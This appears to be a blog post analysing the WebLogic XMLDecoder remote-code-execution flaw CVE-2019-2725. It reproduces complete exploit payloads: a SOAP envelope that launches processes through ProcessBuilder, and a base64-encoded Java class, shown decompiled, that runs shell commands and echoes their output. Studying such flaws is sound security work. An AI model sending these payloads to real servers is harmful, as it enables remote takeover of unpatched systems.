[CVE-2019-2725] Weblogc XMLDecoder RCE

Mainly look at the echo scheme, refer to:

Because the previous patch has restricted the content of xml:

The element nodes of object, new, and method. Secondly, it restricts that void elements can only use index attributes or empty attributes... The class attribute of array elements can only be byte

So there is such a long byte payload.
The key to this echo payload is this class:
oracle.toplink.internal.sessions.UnitOfWorkChangeSet
it can receive byte arrays because of its construction method.

The echo solution uses oracle.toplink.internal.sessions.UnitOfWorkChangeSetthe construction method of this class to receive byte arrays.
E:\Oracle\Middleware10.3.6.0\modules\com.oracle.toplink_1.1.0.0_11-1-1-6-0.jar!\oracle\toplink\internal\sessions\UnitOfWorkChangeSet#UnitOfWorkChangeSet(byte[] bytes )

Insert picture description here

And this class is available in the v10 version, but not in the v12 version.
Insert picture description here

And because the jdk version of 10.2.6.0 is 1.6+, you can use jdk7u21 gadget to reach RCE.

poc source:
https://github.com/lufeirider/CVE-2019-2725/blob/master/CVE-2019-2725.py
poc learning:

			<void class="org.mozilla.classfile.DefiningClassLoader">
				<void method="defineClass">          <!--  调用defineClass方法 :defineClass(String var1, byte[] var2) -->
					<string>ResultBaseExec</string>   <!--  传入第一个String参数 -->
					<object idref="byte_arr"></object>   <!--  传入第二个byte[]参数 -->
					<void method="newInstance">            <!--  得到的Class对象,再新建其对象 -->
						<void method="do_exec" id="result">   <!--  执行新建对象的do_exec(String)方法 实现RCE-->
							<string>echo windowslu^fei linuxlu$1fei test</string>    <!--  这里主要是为了兼容linux和windows的回显  -->
						</void>
					</void>
				</void>
			</void>

Insert picture description here

The one used here idref=byte_arris defined above:

			<void class="sun.misc.BASE64Decoder">
				<void method="decodeBuffer" id="byte_arr">	<string>yv66vgAAADIAYwoAFAA8CgA9AD4KAD0APwoAQABBBwBCCgAFAEMHAEQKAAcARQgARgoABwBHBwBICgALADwKAAsASQoACwBKCABLCgATAEwHAE0IAE4HAE8HAFABAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmx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50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsBAA5nZXRJbnB1dFN0cmVhbQEAFygpTGphdmEvaW8vSW5wdXRTdHJlYW07AQAYKExqYXZhL2lvL0lucHV0U3RyZWFtOylWAQATKExqYXZhL2lvL1JlYWRlcjspVgEACHJlYWRMaW5lAQAUKClMamF2YS9sYW5nL1N0cmluZzsBAAZhcHBlbmQBAC0oTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nQnVpbGRlcjsBAAh0b1N0cmluZwAhABMAFAAAAAAABAABABUAFgABABcAAAAvAAEAAQAAAAUqtwABsQAAAAIAGAAAAAYAAQAAAAMAGQAAAAwAAQAAAAUAGgAbAAAACQAcAB0AAgAXAAAA+QADAAcAAABOuAACKrYAA0wrtgAETbsABVkstwAGTrsAB1kttwAIOgQBOgUSCToGGQS2AApZOgXGABy7AAtZtwAMGQa2AA0ZBbYADbYADjoGp//fGQawAAAAAwAYAAAAJgAJAAAABgAIAAcADQAIABYACQAgAAoAIwALACcADAAyAA4ASwARABkAAABIAAcAAABOAB4AHwAAAAgARgAgACEAAQANAEEAIgAjAAIAFgA4ACQAJQADACAALgAmACcABAAjACsAKAAfAAUAJwAnACkAHwAGACoAAAAfAAL/ACcABwcAKwcALAcALQcALgcALwcAKwcAKwAAIwAwAAAABAABABEACQAxAB0AAgAXAAAAqgACAAMAAAA3EglMuwALWbcADBIPtgANKrYADbYADrgAEEynABtNuwALWbcADBIStgANKrYADbYADrgAEEwrsAABAAMAGgAdABEAAwAYAAAAGgAGAAAAFgADABkAGgAeAB0AGwAeAB0ANQAfABkAAAAgAAMAHgAXADIAMwACAAAANwAeAB8AAAADADQAKQAfAAEAKgAAABMAAv8AHQACBwArBwArAAEHADQXADAAAAAEAAEANQAJADYANwACABcAAAArAAAAAQAAAAGxAAAAAgAYAAAABgABAAAANgAZAAAADAABAAAAAQA4ADkAAAAwAAAABAABADUAAQA6AAAAAgA7</string>
				</void>
			</void>

I started searching in jdk sun.misc.BASE64Decoderand found that although there is this class in jdk, there is no such method decodeBuffer:
Insert picture description here
later found that weblogic comes with it, no wonder the breakpoint cannot reach the constructor of the class that comes with jdk.
Insert picture description here
So re-breakpoint under oracle_common/ccr/lib/osdt_jce.jar:

Finally, the calculator pops up here:
Insert picture description here

Click base64, you can see that here is the definition of class:
Insert picture description here
defines a ResultBaseExec class, and its exec_cmd method:
dump the content to the ResultBaseExec.class file, open it in IDEA, and get the decompiled code:

import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStream;
import java.io.InputStreamReader;

public class ResultBaseExec {
    
    
    public ResultBaseExec() {
    
    
    }

    public static String exec_cmd(String cmd) throws IOException {
    
    
        Process p = Runtime.getRuntime().exec(cmd);
        InputStream fis = p.getInputStream();
        InputStreamReader isr = new InputStreamReader(fis);
        BufferedReader br = new BufferedReader(isr);
        String line = null;

        String result;
        for(result = ""; (line = br.readLine()) != null; result = result + line) {
    
    
        }

        return result;
    }

    public static String do_exec(String cmd) throws Exception {
    
    
        String result = "";

        try {
    
    
            result = exec_cmd("cmd.exe /c " + cmd);
        } catch (IOException var3) {
    
    
            result = exec_cmd("/bin/sh -c " + cmd);
        }

        return result;
    }

    public static void main(String[] args) throws Exception {
    
    
    }
}

Another poc:

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:wsa="http://www.w3.org/2005/08/addressing" xmlns:asy="http://www.bea.com/async/AsyncResponseService"> <soapenv:Header> <wsa:Action>xx</wsa:Action><wsa:RelatesTo>xx</wsa:RelatesTo> <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/"> 
<java><class><string>org.slf4j.ext.EventData</string><void><string><![CDATA[<java class="java.beans.XMLDecoder"><void class="java.lang.ProcessBuilder"><array class="java.lang.String" length="3"><void index = "0"><string>cmd.exe</string></void><void index = "1"><string>/c</string></void><void index = "2"><string>calc</string></void></array><void method="start" id="process"/></void><object idref="process"><void id="inputStream" method="getInputStream"/></object><object id="scanner" class="java.util.Scanner"><object idref="inputStream"/></object><object idref="scanner"><void method="useDelimiter"><string>\\A</string></void><void id="result" method="next"/></object><void class="java.lang.Thread" method="currentThread"><void method="getCurrentWork" id="current_work"><void method="getClass"><void method="getDeclaredField"><string>connectionHandler</string><void method="setAccessible"><boolean>true</boolean></void><void method="get"><object idref="current_work"></object><void method="getServletRequest"><void method="getResponse"><void method="getServletOutputStream"><void method="writeStream"><object class="weblogic.xml.util.StringInputStream"><object idref="result"></object></object></void><void method="flush"/></void><void method="getWriter"><void method="write"><string></string></void></void></void></void></void></void></void></void></void></java>]]></string></void></class></java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body><asy:onAsyncDelivery/></soapenv:Body></soapenv:Envelope>

Source:
https://github.com/pimps/CVE-2019-2725/blob/master/weblogic_exploit.py

Use org.slf4j.ext.EventDatafor secondary deserialization.

Insert picture description here

try

In the case of labels:

<unbound>=Class.new("<java class="java.beans.XMLDecoder"><void class="java.lang.ProcessBuilder"><array class="java.lang.String" length="3"><void index = "0"><string>cmd.exe</string></void><void index = "1"><string>/c</string></void><void index = "2"><string>calc</string></void></array><void method="start" id="process"/></void><object idref="process"><void id="inputStream" method="getInputStream"/></object><object id="scanner" class="java.util.Scanner"><object idref="inputStream"/></object><object idref="scanner"><void method="useDelimiter"><string>\\A</string></void><void id="result" method="next"/></object><void class="java.lang.Thread" method="currentThread"><void method="getCurrentWork" id="current_work"><void method="getClass"><void method="getDeclaredField"><string>connectionHandler</string><void method="setAccessible"><boolean>true</boolean></void><void method="get"><object idref="current_work"></object><void method="getServletRequest"><void method="getResponse"><void method="getServletOutputStream"><void method="writeStream"><object class="weblogic.xml.util.StringInputStream"><object idref="result"></object></object></void><void method="flush"/></void><void method="getWriter"><void method="write"><string></string></void></void></void></void></void></void></void></void></void></java>");

When used

<unbound>=ObjectArray.new("<java class="java.beans.XMLDecoder"><void class="java.lang.ProcessBuilder"><array class="java.lang.String" length="3"><void index = "0"><string>cmd.exe</string></void><void index = "1"><string>/c</string></void><void index = "2"><string>calc</string></void></array><void method="start" id="process"/></void><object idref="process"><void id="inputStream" method="getInputStream"/></object><object id="scanner" class="java.util.Scanner"><object idref="inputStream"/></object><object idref="scanner"><void method="useDelimiter"><string>\\A</string></void><void id="result" method="next"/></object><void class="java.lang.Thread" method="currentThread"><void method="getCurrentWork" id="current_work"><void method="getClass"><void method="getDeclaredField"><string>connectionHandler</string><void method="setAccessible"><boolean>true</boolean></void><void method="get"><object idref="current_work"></object><void method="getServletRequest"><void method="getResponse"><void method="getServletOutputStream"><void method="writeStream"><object class="weblogic.xml.util.StringInputStream"><object idref="result"></object></object></void><void method="flush"/></void><void method="getWriter"><void method="write"><string></string></void></void></void></void></void></void></void></void></void></java>");

success:

Class.new(<xml>)

failure:

ObjectArray.new
XMLDecoder.new(<xml>)

The 2725 patch used to bypass is only applicable to jdk6,

Reference: https://www.anquanke.com/post/id/180725

Guess you like

Origin blog.csdn.net/caiqiiqi/article/details/108263842